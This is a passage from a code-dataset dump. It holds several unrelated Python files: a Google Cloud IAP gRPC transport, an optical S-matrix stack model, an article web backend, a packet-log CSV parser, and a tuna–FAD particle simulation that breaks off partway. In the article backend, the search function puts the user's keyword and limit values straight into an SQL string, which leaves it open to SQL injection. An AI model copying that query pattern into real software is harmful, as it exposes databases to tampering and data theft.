credentials=self._credentials,\n # Set ``credentials_file`` to ``None`` here as\n # the credentials that we saved earlier should be used.\n credentials_file=None,\n scopes=self._scopes,\n ssl_credentials=self._ssl_channel_credentials,\n quota_project_id=quota_project_id,\n options=[\n (\"grpc.max_send_message_length\", -1),\n (\"grpc.max_receive_message_length\", -1),\n ],\n )\n\n # Wrap messages. This must be done after self._grpc_channel exists\n self._prep_wrapped_messages(client_info)\n\n @property\n def grpc_channel(self) -> aio.Channel:\n \"\"\"Create the channel designed to connect to this service.\n\n This property caches on the instance; repeated calls return\n the same channel.\n \"\"\"\n # Return the channel from cache.\n return self._grpc_channel\n\n @property\n def list_brands(\n self,\n ) -> Callable[[service.ListBrandsRequest], Awaitable[service.ListBrandsResponse]]:\n r\"\"\"Return a callable for the list brands method over gRPC.\n\n Lists the existing brands for the project.\n\n Returns:\n Callable[[~.ListBrandsRequest],\n Awaitable[~.ListBrandsResponse]]:\n A function that, when called, will call the underlying RPC\n on the server.\n \"\"\"\n # Generate a \"stub function\" on-the-fly which will actually make\n # the request.\n # gRPC handles serialization and deserialization, so we just need\n # to pass in the functions for each.\n if \"list_brands\" not in self._stubs:\n self._stubs[\"list_brands\"] = self.grpc_channel.unary_unary(\n \"/google.cloud.iap.v1.IdentityAwareProxyOAuthService/ListBrands\",\n request_serializer=service.ListBrandsRequest.serialize,\n response_deserializer=service.ListBrandsResponse.deserialize,\n )\n return self._stubs[\"list_brands\"]\n\n @property\n def create_brand(\n self,\n ) -> Callable[[service.CreateBrandRequest], Awaitable[service.Brand]]:\n r\"\"\"Return a callable for the create brand method over gRPC.\n\n Constructs a new OAuth brand for the project if one\n does not exist. The created brand is \"internal only\",\n meaning that OAuth clients created under it only accept\n requests from users who belong to the same Google\n Workspace organization as the project. The brand is\n created in an un-reviewed status. NOTE: The \"internal\n only\" status can be manually changed in the Google Cloud\n Console. Requires that a brand does not already exist\n for the project, and that the specified support email is\n owned by the caller.\n\n Returns:\n Callable[[~.CreateBrandRequest],\n Awaitable[~.Brand]]:\n A function that, when called, will call the underlying RPC\n on the server.\n \"\"\"\n # Generate a \"stub function\" on-the-fly which will actually make\n # the request.\n # gRPC handles serialization and deserialization, so we just need\n # to pass in the functions for each.\n if \"create_brand\" not in self._stubs:\n self._stubs[\"create_brand\"] = self.grpc_channel.unary_unary(\n \"/google.cloud.iap.v1.IdentityAwareProxyOAuthService/CreateBrand\",\n request_serializer=service.CreateBrandRequest.serialize,\n response_deserializer=service.Brand.deserialize,\n )\n return self._stubs[\"create_brand\"]\n\n @property\n def get_brand(\n self,\n ) -> Callable[[service.GetBrandRequest], Awaitable[service.Brand]]:\n r\"\"\"Return a callable for the get brand method over gRPC.\n\n Retrieves the OAuth brand of the project.\n\n Returns:\n Callable[[~.GetBrandRequest],\n Awaitable[~.Brand]]:\n A function that, when called, will call the underlying RPC\n on the server.\n \"\"\"\n # Generate a \"stub function\" on-the-fly which will actually make\n # the request.\n # gRPC handles serialization and deserialization, so we just need\n # to pass in the functions for each.\n if \"get_brand\" not in self._stubs:\n self._stubs[\"get_brand\"] = self.grpc_channel.unary_unary(\n \"/google.cloud.iap.v1.IdentityAwareProxyOAuthService/GetBrand\",\n request_serializer=service.GetBrandRequest.serialize,\n response_deserializer=service.Brand.deserialize,\n )\n return self._stubs[\"get_brand\"]\n\n @property\n def create_identity_aware_proxy_client(\n self,\n ) -> Callable[\n [service.CreateIdentityAwareProxyClientRequest],\n Awaitable[service.IdentityAwareProxyClient],\n ]:\n r\"\"\"Return a callable for the create identity aware proxy\n client method over gRPC.\n\n Creates an Identity Aware Proxy (IAP) OAuth client.\n The client is owned by IAP. Requires that the brand for\n the project exists and that it is set for internal-only\n use.\n\n Returns:\n Callable[[~.CreateIdentityAwareProxyClientRequest],\n Awaitable[~.IdentityAwareProxyClient]]:\n A function that, when called, will call the underlying RPC\n on the server.\n \"\"\"\n # Generate a \"stub function\" on-the-fly which will actually make\n # the request.\n # gRPC handles serialization and deserialization, so we just need\n # to pass in the functions for each.\n if \"create_identity_aware_proxy_client\" not in self._stubs:\n self._stubs[\n \"create_identity_aware_proxy_client\"\n ] = self.grpc_channel.unary_unary(\n \"/google.cloud.iap.v1.IdentityAwareProxyOAuthService/CreateIdentityAwareProxyClient\",\n request_serializer=service.CreateIdentityAwareProxyClientRequest.serialize,\n response_deserializer=service.IdentityAwareProxyClient.deserialize,\n )\n return self._stubs[\"create_identity_aware_proxy_client\"]\n\n @property\n def list_identity_aware_proxy_clients(\n self,\n ) -> Callable[\n [service.ListIdentityAwareProxyClientsRequest],\n Awaitable[service.ListIdentityAwareProxyClientsResponse],\n ]:\n r\"\"\"Return a callable for the list identity aware proxy\n clients method over gRPC.\n\n Lists the existing clients for the brand.\n\n Returns:\n Callable[[~.ListIdentityAwareProxyClientsRequest],\n Awaitable[~.ListIdentityAwareProxyClientsResponse]]:\n A function that, when called, will call the underlying RPC\n on the server.\n \"\"\"\n # Generate a \"stub function\" on-the-fly which will actually make\n # the request.\n # gRPC handles serialization and deserialization, so we just need\n # to pass in the functions for each.\n if \"list_identity_aware_proxy_clients\" not in self._stubs:\n self._stubs[\n \"list_identity_aware_proxy_clients\"\n ] = self.grpc_channel.unary_unary(\n \"/google.cloud.iap.v1.IdentityAwareProxyOAuthService/ListIdentityAwareProxyClients\",\n request_serializer=service.ListIdentityAwareProxyClientsRequest.serialize,\n response_deserializer=service.ListIdentityAwareProxyClientsResponse.deserialize,\n )\n return self._stubs[\"list_identity_aware_proxy_clients\"]\n\n @property\n def get_identity_aware_proxy_client(\n self,\n ) -> Callable[\n [service.GetIdentityAwareProxyClientRequest],\n Awaitable[service.IdentityAwareProxyClient],\n ]:\n r\"\"\"Return a callable for the get identity aware proxy\n client method over gRPC.\n\n Retrieves an Identity Aware Proxy (IAP) OAuth client.\n Requires that the client is owned by IAP.\n\n Returns:\n Callable[[~.GetIdentityAwareProxyClientRequest],\n Awaitable[~.IdentityAwareProxyClient]]:\n A function that, when called, will call the underlying RPC\n on the server.\n \"\"\"\n # Generate a \"stub function\" on-the-fly which will actually make\n # the request.\n # gRPC handles serialization and deserialization, so we just need\n # to pass in the functions for each.\n if \"get_identity_aware_proxy_client\" not in self._stubs:\n self._stubs[\n \"get_identity_aware_proxy_client\"\n ] = self.grpc_channel.unary_unary(\n \"/google.cloud.iap.v1.IdentityAwareProxyOAuthService/GetIdentityAwareProxyClient\",\n request_serializer=service.GetIdentityAwareProxyClientRequest.serialize,\n response_deserializer=service.IdentityAwareProxyClient.deserialize,\n )\n return self._stubs[\"get_identity_aware_proxy_client\"]\n\n @property\n def reset_identity_aware_proxy_client_secret(\n self,\n ) -> Callable[\n [service.ResetIdentityAwareProxyClientSecretRequest],\n Awaitable[service.IdentityAwareProxyClient],\n ]:\n r\"\"\"Return a callable for the reset identity aware proxy\n client secret method over gRPC.\n\n Resets an Identity Aware Proxy (IAP) OAuth client\n secret. Useful if the secret was compromised. Requires\n that the client is owned by IAP.\n\n Returns:\n Callable[[~.ResetIdentityAwareProxyClientSecretRequest],\n Awaitable[~.IdentityAwareProxyClient]]:\n A function that, when called, will call the underlying RPC\n on the server.\n \"\"\"\n # Generate a \"stub function\" on-the-fly which will actually make\n # the request.\n # gRPC handles serialization and deserialization, so we just need\n # to pass in the functions for each.\n if \"reset_identity_aware_proxy_client_secret\" not in self._stubs:\n self._stubs[\n \"reset_identity_aware_proxy_client_secret\"\n ] = self.grpc_channel.unary_unary(\n \"/google.cloud.iap.v1.IdentityAwareProxyOAuthService/ResetIdentityAwareProxyClientSecret\",\n request_serializer=service.ResetIdentityAwareProxyClientSecretRequest.serialize,\n response_deserializer=service.IdentityAwareProxyClient.deserialize,\n )\n return self._stubs[\"reset_identity_aware_proxy_client_secret\"]\n\n @property\n def delete_identity_aware_proxy_client(\n self,\n ) -> Callable[\n [service.DeleteIdentityAwareProxyClientRequest], Awaitable[empty_pb2.Empty]\n ]:\n r\"\"\"Return a callable for the delete identity aware proxy\n client method over gRPC.\n\n Deletes an Identity Aware Proxy (IAP) OAuth client.\n Useful for removing obsolete clients, managing the\n number of clients in a given project, and cleaning up\n after tests. Requires that the client is owned by IAP.\n\n Returns:\n Callable[[~.DeleteIdentityAwareProxyClientRequest],\n Awaitable[~.Empty]]:\n A function that, when called, will call the underlying RPC\n on the server.\n \"\"\"\n # Generate a \"stub function\" on-the-fly which will actually make\n # the request.\n # gRPC handles serialization and deserialization, so we just need\n # to pass in the functions for each.\n if \"delete_identity_aware_proxy_client\" not in self._stubs:\n self._stubs[\n \"delete_identity_aware_proxy_client\"\n ] = self.grpc_channel.unary_unary(\n \"/google.cloud.iap.v1.IdentityAwareProxyOAuthService/DeleteIdentityAwareProxyClient\",\n request_serializer=service.DeleteIdentityAwareProxyClientRequest.serialize,\n response_deserializer=empty_pb2.Empty.FromString,\n )\n return self._stubs[\"delete_identity_aware_proxy_client\"]\n\n def close(self):\n return self.grpc_channel.close()\n\n\n__all__ = (\"IdentityAwareProxyOAuthServiceGrpcAsyncIOTransport\",)\n","sub_path":"packages/google-cloud-iap/google/cloud/iap_v1/services/identity_aware_proxy_o_auth_service/transports/grpc_asyncio.py","file_name":"grpc_asyncio.py","file_ext":"py","file_size_in_byte":22256,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"255431637","text":"import numpy as np\nfrom star_product import *\nfrom smat_oparations import *\n\nclass Layer:\n \"\"\"\n Parrent class of Meta- and NonMetaLayer, contains information about\n which symmetry opperations will be applied.\n \"\"\"\n\n def __init__(self):\n self.mirror_bool = False\n self.flip_bool = False\n self.angle = 0\n\n def flip(self):\n self.flip_bool = True\n return\n\n def mirror(self):\n self.mirror_bool = True\n\n def rotate(self, angle):\n self.angle = angle\n\n\n\nclass MetaLayer(Layer):\n \"\"\"\n Class to describe a Meta-Surface in the Stack\n\n Parameters\n ----------\n s_mat : the 4x4 S-Matrix of the Meta-Layer, externally simulated/measured\n cladding : vector containing the refraction indices of the cladding\n substrate : vector containing the refraction indices of the substrate\n \"\"\"\n def __init__(self, s_mat, cladding, substrate):\n Layer.__init__(self)\n self.s_mat = s_mat\n self.cladding = cladding\n self.substrate = substrate\n\nclass NonMetaLayer(Layer):\n \"\"\"\n Class to describe a homogenous isotropic or anisotropic Layer\n\n Parameters\n ----------\n height : height in (μm)\n n_vec : one or two vactors containing the diffraction indeces\n if one vector is given homogenous behavior will be assumed\n \"\"\"\n def __init__(self, height, *n_vec):\n Layer.__init__(self)\n self.height = height\n self.height_len = np.size(self.height)\n self.n_x = n_vec[0]\n #isotropic material\n if len(n_vec) == 1:\n self.n_y = self.n_x\n #anisotropic material\n elif len(n_vec) == 2:\n self.n_y = n_vec[1]\n else:\n raise ValueError(\"input 1 or 2 refrectiv index vectors\")\n\n\n\nclass Stack:\n \"\"\"\n Class to describe the whole Stack, contains information about cladding,\n substrate and further options.\n\n Parameters\n ----------\n layer_list : list of Layer objects\n wav_vec : vector\n The target wavelengths where the Meta-Surface was simulated/\n measured\n cladding : vector\n The refrectiv indeces of the material on top of the stack,\n if the input is a single float n_i wavelength independent\n behavior will be assumed.\n substrate : vectors\n The refractiv indeces of the material below the stack\n\n \"\"\"\n def __init__(self, layer_list, wav_vec, cladding, substrate):\n\n self.layer_list = layer_list\n self.cladding = cladding\n self.substrate = substrate\n self.wav_vec = wav_vec\n self.wav_vec_len = len(self.wav_vec)\n self.geo_bool = False\n self.geo_order = 5\n\n def create_propagator(self, layer):\n \"\"\"\n Creates the propergator S-Matrix\n\n Parameters\n ----------\n layer : NonMetaLayer or MetaLayer object\n\n Returns\n -------\n s_mat : Lx4x4 S-Matrix\n \"\"\"\n if type(layer) is NonMetaLayer:\n\n s_mat = np.zeros((layer.height_len, self.wav_vec_len,4,4)).astype(complex)\n prop_x = np.exp(2j*np.pi* np.outer(layer.height, layer.n_x/self.wav_vec).squeeze())\n prop_y = np.exp(2j*np.pi* np.outer(layer.height, layer.n_y/self.wav_vec).squeeze())\n s_mat[:,:,0,0] = prop_x\n s_mat[:,:,1,1] = prop_y\n s_mat[:,:,2,2] = prop_x\n s_mat[:,:,3,3] = prop_y\n\n elif type(layer) is MetaLayer:\n s_mat = layer.s_mat.reshape((1,self.wav_vec_len,4,4))\n else:\n raise ValueError(\"Stack has to consist of Mata and \\\n NonMetaLayers\")\n #apply symmetry opperations\n if layer.mirror_bool:\n s_mat = mirror_smat(s_mat)\n if layer.flip_bool:\n s_mat = flip_smat(s_mat)\n if layer.angle != 0:\n s_mat = rot_smat(s_mat, layer.angle)\n\n return s_mat\n\n def create_interface(self, l_2, l_1):\n \"\"\"\n Creates the interface S-Matrix for the transmission\n between two Layers\n\n Parameters\n ----------\n l_1 , l_2: NonMetaLayer or MetaLayer Objects\n\n Returns\n -------\n s_mat : Lx4x4 S-Matrix\n \"\"\"\n\n #load n_* from the Layers\n if (type(l_1) is NonMetaLayer):\n n1_x = l_1.n_x\n n1_y = l_1.n_y\n else:\n n1_x = l_1.substrate\n n1_y = l_1.substrate\n\n if(type(l_2) is NonMetaLayer) :\n n2_x = l_2.n_x\n n2_y = l_2.n_y\n else:\n n2_x = l_2.cladding\n n2_y = l_2.cladding\n\n #transmission and reflection in x and y direction\n\n s_mat_list = np.zeros((self.wav_vec_len,4,4)).astype(complex)\n #Transmission\n s_mat_list[:,0,0] = 2*n1_x/(n1_x + n2_x)\n s_mat_list[:,1,1] = 2*n1_y/(n1_y + n2_y)\n s_mat_list[:,2,2] = 2*n2_x/(n1_x + n2_x)\n s_mat_list[:,3,3] = 2*n2_y/(n1_y + n2_y)\n #Reflection\n R_x = (n1_x - n2_x)/(n1_x + n2_x)\n R_y = (n1_y - n2_y)/(n1_y + n2_y)\n s_mat_list[:,0,2] = R_x\n s_mat_list[:,1,3] = R_y\n s_mat_list[:,2,0] = -1*R_x\n s_mat_list[:,3,1] = -1*R_y\n \"\"\"\n This Operrator is constructed:\n [T_x , 0 , R_x, 0],\n [ 0 , T_y , 0, R_y],\n [-1*R_x, 0 , T_x, 0 ],\n [ 0 ,-1*R_y, 0 , T_y ]\n \"\"\"\n return s_mat_list.reshape((1,self.wav_vec_len,4,4))\n\n def create_interface_rot(self, l_2, l_1):\n \"\"\"\n Creates the interface S-Matrix for the transmission between\n two Layers in case of rotation, uses create_interface\n\n Parameters\n ----------\n l_1 , l_2: NonMetaLayer or MetaLayer Objects\n\n Returns\n -------\n s_mat : Lx4x4 S-Matrix\n \"\"\"\n vacuum_layer = NonMetaLayer(0, np.ones(self.wav_vec_len))\n s_mat1 = self.create_interface(vacuum_layer, l_2)\n s_mat2 = self.create_interface(l_1, vacuum_layer)\n s_mat = star_product_analyt(rot_smat(s_mat1, l_2.angle),\n rot_smat(s_mat2, l_1.angle))\n return s_mat\n\n\n\n def build(self):\n \"\"\"\n Builds all the propagation and interface matrices and multiplies them.\n\n Returns\n -------\n s_mat : Lx4x4 S-matrix describing the whole stack\n \"\"\"\n\n #Create Layer-Objects for the cladding and substrate\n clad_layer = NonMetaLayer(None, self.cladding)\n subs_layer = NonMetaLayer(None, self.substrate)\n\n #add the substrate layer to the back\n self.layer_list.append(subs_layer)\n\n #create interface between the cladding and the first layer\n inter = self.create_interface(clad_layer, self.layer_list[0])\n s_mat_list = [inter]\n for i in range(len(self.layer_list) - 1):\n\n current_layer = self.layer_list[i]\n next_layer = self.layer_list[i+1]\n\n prop = self.create_propagator(current_layer)\n\n #This can be further optimized by a better differentiation between\n #the cases\n if (current_layer.angle != 0) or (next_layer.angle != 0):\n inter = self.create_interface_rot(current_layer, next_layer)\n else:\n inter = self.create_interface(current_layer, next_layer)\n\n s_mat_list.append(prop)\n s_mat_list.append(inter)\n #end building loop\n if self.geo_bool:\n s_out = star_product_cascaded_geo(s_mat_list, self.geo_order).squeeze()\n else:\n s_out = star_product_cascaded(s_mat_list).squeeze()\n return s_out\n","sub_path":"stack.py","file_name":"stack.py","file_ext":"py","file_size_in_byte":7678,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"311227483","text":"from uuid import UUID\n\nimport constants.messages\nfrom connector import MySQL\nfrom constants import messages\n\n\ndef if_article_exist(article_id: int):\n sql = MySQL()\n if sql.query('SELECT COUNT(*) FROM article WHERE id=%s', (article_id, ))[0][0] == 1:\n return True\n else:\n return False\n\n\ndef get_articles(user_uuid: UUID, address: str, article_type: str, article_category: str, start_idx: int, end_idx: int):\n sql = MySQL(dict_cursor=True)\n\n if article_type != 'None' and article_category != 'None':\n pre_result = list(sql.query(\"SELECT id, title, cost, image, submitter, reg_date, is_visible \"\n \"FROM article WHERE address=%s AND article_type=%s \"\n \"AND article_category=%s ORDER BY reg_date asc LIMIT %s, %s\",\n (address, article_type, article_category, int(start_idx), int(end_idx))))\n else:\n pre_result = list(sql.query(\"SELECT id, title, cost, image, submitter, reg_date, is_visible \"\n \"FROM article WHERE address=%s ORDER BY reg_date asc LIMIT %s, %s\",\n (address, int(start_idx), int(end_idx))))\n result = list()\n\n for i in pre_result:\n if bool(i['is_visible']):\n if i['image'] is None or i['image'] == \"\":\n i['image'] = \"no image\"\n i['submitter'] = sql.query('SELECT nickname FROM account WHERE uuid=%s',\n (UUID(bytes=i['submitter']).bytes, ))[0]['nickname']\n if sql.query('SELECT COUNT(*) FROM fork WHERE uuid=%s AND article_id=%s', (user_uuid.bytes, i['id']))[0]['COUNT(*)']:\n i['fork'] = 'active'\n else:\n i['fork'] = 'unactive'\n\n result.append(i)\n\n return True, result\n\n\ndef get_article(article_id: int):\n sql = MySQL(dict_cursor=True)\n\n result = sql.query('SELECT id, title, submitter, address, image, cost, content, '\n 'remain_time, max_num, article_type, article_category, reg_date, is_visible, views '\n 'FROM article WHERE id=%s', (article_id, ))\n\n if len(result) == 0:\n return False, None\n\n result = result[0]\n\n seller_info = sql.query('SELECT nickname, image, rate FROM account WHERE uuid=%s',\n (UUID(bytes=result['submitter']).bytes,))[0]\n result['submitter_image'] = seller_info['image']\n result['submitter'] = seller_info['nickname']\n result['submitter_result'] = seller_info['rate']\n\n if result['image'] is None or result['image'] == \"\":\n result['image'] = \"no image\"\n\n if result['submitter_image'] is None or result['submitter_image'] == \"\":\n result['submitter_image'] = \"no image\"\n\n if not bool(result['is_visible']):\n return False, None\n\n else:\n sql.transaction.start()\n try:\n sql.query('UPDATE article SET views = views + 1 WHERE id=%s', (article_id, ))\n except Exception as e:\n print(e)\n else:\n sql.transaction.commit()\n return True, result\n\n\ndef get_articles_with_search(keyword: str, start_idx: int, end_idx: int):\n sql = MySQL(dict_cursor=True)\n\n return {'success': True}, list(sql.query(f\"SELECT id, title, HEX(submitter) submitter, reg_date, last_modified, is_notify, views FROM article \"\n f\"WHERE is_visible=1 AND title regexp '{keyword}' \"\n f\"ORDER BY reg_date asc LIMIT {start_idx}, {end_idx}\"))\n\n\ndef delete_article(article_id: int):\n sql = MySQL()\n\n result = sql.query('SELECT submitter FROM article WHERE id=%s', (article_id, ))\n\n if len(result) == 0:\n return False, constants.messages.article_no_exists, 404\n\n sql.transaction.start()\n try:\n sql.query('DELETE FROM article WHERE id=%s', (article_id, ))\n except:\n sql.transaction.rollback()\n return False, constants.messages.exception_occurred, 403\n else:\n sql.transaction.commit()\n return True, None, 200\n\n\ndef create_article(title=None, submitter: UUID = None, address=None, image=None, cost=None,\n content=None, remain_time=None, max_num=None, article_type=None, article_category=None):\n sql = MySQL()\n\n if title is None or submitter is None or address is None or cost is None:\n return False, messages.no_required_args, 400\n if remain_time is None or max_num is None or article_type is None or article_category is None:\n return False, messages.no_required_args, 400\n\n if image is None:\n image = ''\n if content is None:\n content = ''\n\n sql.transaction.start()\n try:\n sql.query('INSERT INTO article '\n '(title, submitter, address, image, cost, content, remain_time, '\n 'max_num, article_type, article_category) '\n 'VALUE (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s)',\n (title, submitter.bytes, address, image, cost, content, remain_time,\n max_num, article_type, article_category))\n except:\n sql.transaction.rollback()\n return False, messages.exception_occurred, 500\n else:\n inserted = sql.query('SELECT LAST_INSERT_ID()')[0][0]\n sql.transaction.commit()\n return True, inserted, 200\n\n\ndef make_fork(user_uuid: UUID, article_id: int):\n sql = MySQL()\n\n sql.transaction.start()\n try:\n sql.query('INSERT INTO fork (uuid, article_id) VALUE (%s, %s)', (user_uuid.bytes, article_id, ))\n except Exception as e:\n print(e)\n return False, {'message': \"fork_fail\"}, 500\n else:\n sql.transaction.commit()\n return True, None, 200\n","sub_path":"oasis_hackathon_server/methods/article.py","file_name":"article.py","file_ext":"py","file_size_in_byte":5783,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"329941193","text":"# -*-coding:Latin-1 -*\n\nimport re\nimport pandas as pd\n\n\n\n#def create_df_tx(data_file_tx):\n\n#def create_df_rx(data_file_tx, data_file_ack_rx):\n\n#def fill_succes_tx(df_tx, df_rx):\n\n \ndef create_df_tx(data_file_tx):\n df = pd.DataFrame(columns=('time', 'addr', 'comp','asn', 'statType', 'trackinstance', 'trackowner', 'length', 'frameType', 'slotOffset', 'frequency', 'l2Dest', 'txpower', 'numTxAttempts', 'queuePos','succes_rx', 'succes_ack', 'list_rx'))\n\n i=0\n with open(data_file_tx, \"r\") as f_tx:\n for line in f_tx:\n df.loc[i]=[get_time(line), \n get_addr(line), \n get_comp(line), \n get_asn(line), \n get_statType(line), \n get_trackinstance(line), \n get_trackowner(line), \n get_length(line), \n get_frameType(line), \n get_slotOffset(line), \n get_frequency(line), \n get_l2Dest(line), \n get_txpower(line), \n get_numTxAttempts(line),\n get_queuePos(line),\n 0,\n 0,\n \"\"]\n i+=1\n \n df.to_csv('data_csv/pkt_tx.csv',index=False)\n\n \n \ndef create_df_rx(data_file_tx, data_file_ack_rx):\n i=0\n df = pd.DataFrame(columns=('time', 'addr', 'comp','asn', 'statType', 'trackinstance', 'trackowner',\n 'length', 'frameType', 'slotOffset', 'frequency', 'l2Src', 'rssi', \n 'lqi', 'crc', 'queuePos', 'ACK_RX'))\n with open(data_file_tx, \"r\") as f_rx:\n for line in f_rx:\n df.loc[i]=[get_time(line), \n get_addr(line), \n get_comp(line), \n get_asn(line), \n get_statType(line), \n get_trackinstance(line), \n get_trackowner(line), \n get_length(line), \n get_frameType(line), \n get_slotOffset(line), \n get_frequency(line), \n get_l2Src(line), \n get_rssi(line), \n get_lqi(line),\n get_crc(line),\n get_queuePos(line),\n 0]\n i+=1\n \n with open(data_file_ack_rx, \"r\") as f_rx:\n for line in f_rx:\n #pour chaque ligne on met la variable ack de la rx associée a 1\n #si il existe une rx associée a l'ack\n df.loc[(df['asn']==get_asn(line)) & (df['l2Src'].str.endswith(get_addr(line))), \"ACK_RX\" ] = 1\n \n \n df.to_csv('data_csv/pkt_rx.csv',index=False)\n \n \ndef fill_succes_tx(df_tx, df_rx):\n i=0\n j=0\n asn_tx = 0\n src_tx = \"\"\n dest_tx = \"\"\n list_addr_rx = []\n list_index = []\n\n # pour tous les tx\n for i in range(len(df_tx)):\n #on regarde si la tx est recu | cad si des rx ont eu lieu au meme asn\n asn_tx = df_tx.iloc[i][\"asn\"]\n src_tx = df_tx.iloc[i][\"addr\"]\n dest_tx = df_tx.iloc[i][\"l2Dest\"]\n\n list_addr_rx = df_rx.loc[ (df_rx['asn']==asn_tx) & (df_rx['l2Src'].str.endswith(src_tx)) ][\"addr\"].values.tolist()\n df_tx.set_value(i,\"list_rx\",list_addr_rx)\n if len(list_addr_rx)>0:\n df_tx.set_value(i,\"succes_rx\",1)\n\n list_index = df_rx.loc[ (df_rx['asn']==asn_tx) & (df_rx['l2Src'].str.endswith(src_tx)) ].index.tolist()\n j=0\n for j in list_index:\n if df_rx.iloc[j][\"ACK_RX\"] == '1':\n df_tx.set_value(i,\"succes_ack\",1)\n \n df_tx.to_csv('data_csv/pkt_tx.csv',index=False)\n\n ","sub_path":"analyse_gaetan/func_parsing_csvfile.py","file_name":"func_parsing_csvfile.py","file_ext":"py","file_size_in_byte":3752,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"259420607","text":"import numpy as np\n\nfrom parcels import FieldSet, Field\nfrom parcels import ParticleSet\nfrom parcels import Variable\nfrom parcels import ScipyParticle\n\nimport time as ostime\nimport sys\nti0 = ostime.time()\n\nimport tunaFADpreykernels as pk\n\ndef create_preyfieldRW(lx, ly, res, nprey=100000, Pavg = float(sys.argv[9])):\n # Randomly distribute the prey over the grid\n # Pavg is the average number of prey per grid cell\n dataP = np.zeros(((ly//res)+2, (lx//res)+2))\n gc = (ly/res)*(lx/res) \n add = 1 * gc / nprey * Pavg\n for n in range(nprey):\n i = np.random.randint(1,dataP.shape[0]-1)\n j = np.random.randint(1,dataP.shape[1]-1)\n dataP[i,j] += add\n assert dataP.max() <= 1\n assert dataP.min() >= 0\n return dataP\n\ndef create_preyfieldDG(lx, ly, res, nprey=int(1e5), Pavg = float(sys.argv[9])):\n # Randomly distribute the prey over the grid\n dataP = np.zeros(((ly//res)+2, (lx//res)+2))\n gc = (ly/res)*(lx/res) \n add = 1 * gc / nprey * Pavg\n for n in range(nprey):\n bo = True\n co = 0\n while(bo):\n co += 1\n i = 1 + np.random.binomial(dataP.shape[0]-2, 0.5)\n j = 1 + np.random.binomial(dataP.shape[1]-2, 0.3)\n if(dataP[i,j]<=1-add):\n dataP[i,j] += add\n bo = False\n elif(co==10):\n bo = False\n # normalize the field\n assert dataP.max() <= 1\n assert dataP.min() >= 0\n return dataP\n\ndef create_preyfieldBJ(lx, ly, res, nprey=int(1e5), Pavg = float(sys.argv[9])):\n # Randomly distribute the prey over the grid\n dataP = np.zeros(((ly//res)+2, (lx//res)+2))\n gc = (ly/res)*(lx/res) \n add = 1 * gc / nprey * Pavg\n for n in range(nprey):\n i = 1 + np.random.binomial(dataP.shape[0]-2, 0.5)\n j = np.random.randint(1,dataP.shape[1]-1)\n dataP[i,j] += add\n assert dataP.max() <= 1\n assert dataP.min() >= 0\n return dataP\n\nif(__name__=='__main__'):\n lx = 140 # habitat length (km)\n ly = int(lx/2) # habitat width (km)\n assert lx%2==0\n assert ly%2==0, 'if prey binomial distribution'\n nfad = int(sys.argv[2]) # number of FADs\n ntuna = int(sys.argv[3]) # number of tuna\n\n npart = ntuna + nfad + 1 # total number of particles\n seed = int(sys.argv[1])\n np.random.seed(seed) # seeding of Monte Carlo simulations\n\n # Set the initial locations of the particles\n X = np.random.uniform(0, lx, npart)\n Y = np.random.uniform(0, ly, npart)\n\n assert (X<=lx).all()\n assert (Y<=ly).all()\n \n # Flow field configuration\n # BJ: Bickley Jet\n # DG: Double Gyre\n # RW: Random Walk\n ff = 'BJ'\n assert ff in ['RW', 'DG', 'BJ']\n\n # define the particle types: tuna particle is 0, dFAD particle is 1\n ptype = np.zeros(npart)\n # The zeroth particle is only used in fishing strategy FS1.\n # This is article does nothing, but is only located at a random\n # tuna particle before a fishing event, where it acts as a dFAD.\n ptype[:nfad + 1] = 1\n\n # Define a fieldset without flow\n res = 10 # resolution of the field\n if(ff=='RW'):\n dataP = create_preyfieldRW(lx, ly, res)\n if(ff=='DG'):\n dataP = create_preyfieldDG(lx, ly, res)\n if(ff=='BJ'):\n dataP = create_preyfieldBJ(lx, ly, res)\n gridx, gridy = np.meshgrid(np.arange(-res,lx+res,res), np.arange(-res,ly+res,res))\n gridx = np.array(gridx) + 0.5*res\n gridy = np.array(gridy) + 0.5*res\n fieldset = FieldSet.from_data({'U': np.zeros(dataP.shape), 'V': np.zeros(dataP.shape)},\n {'lon': gridx, 'lat': gridy},\n mesh='flat')\n\n # add constant to fieldset, used in FaugerasDiffusion Kernel\n # to determine the strength of displacement due to prey field\n fieldset.add_constant('gres',res)\n fieldset.add_constant('flowtype',ff)\n # Create the field of tuna prey\n assert ly%res==0\n assert lx%res==0\n fieldP = Field('prey', dataP, grid=fieldset.U.grid,\n interp_method='nearest', mesh='flat')\n fieldset.add_field(fieldP) # prey field added to the velocity FieldSet\n fieldset.prey.to_write = False # enabling the writing of Field prey during execution\n\n if(nfad>0):\n # Add lists (which are added as an interactive field here)\n # These keep track of the FAD order from FADs with many associated \n # tuna to FADs with little associated tuna\n # only needed when p>0 in the fishing strategy\n fieldF = Field('FADorders', np.arange(nfad), lon=np.arange(nfad), lat=np.array([0]), time=np.array([0]),\n interp_method='nearest', mesh='flat', allow_time_extrapolation=True)\n fieldset.add_field(fieldF) # prey field added to the velocity FieldSet\n fieldset.FADorders.to_write = False # enabling the writing of Field prey during execution\n # FAD number where fish is caught\n fieldF = Field('FADc', np.array([0]), lon=np.array([0]), lat=np.array([0]), time=np.array([0]),\n interp_method='nearest', mesh='flat', allow_time_extrapolation=True)\n fieldset.add_field(fieldF) # prey field added to the velocity FieldSet\n fieldset.FADc.to_write = False # enabling the writing of Field prey during execution\n\n # list that determines at which tuna particle to fish\n # under fishing strategy FS1\n fieldFe = Field('fe', np.array([0]), lon=np.array([0]), lat=np.array([0]), time=np.array([0]),\n interp_method='nearest', mesh='flat', allow_time_extrapolation=True)\n fieldset.add_field(fieldFe) # prey field added to the velocity FieldSet\n fieldset.FADc.to_write = False # enabling the writing of Field prey during execution\n\n # Set the parameters for the model:\n # general\n # Taxis coefficients\n fieldset.add_constant(\"kappaT\", float(sys.argv[4]))\n fieldset.add_constant(\"kappaF\", float(sys.argv[5]))\n fieldset.add_constant(\"kappaP\", float(sys.argv[6]))\n fieldset.add_constant(\"kappaI\", float(sys.argv[7]))\n max_interaction_distance = 10\n print('realistic FAD-tuna interaction distance is around 10km (7Nm), now (km):',max_interaction_distance)\n fieldset.add_constant(\"RtF\", 2.) # FAD association radius (km)\n 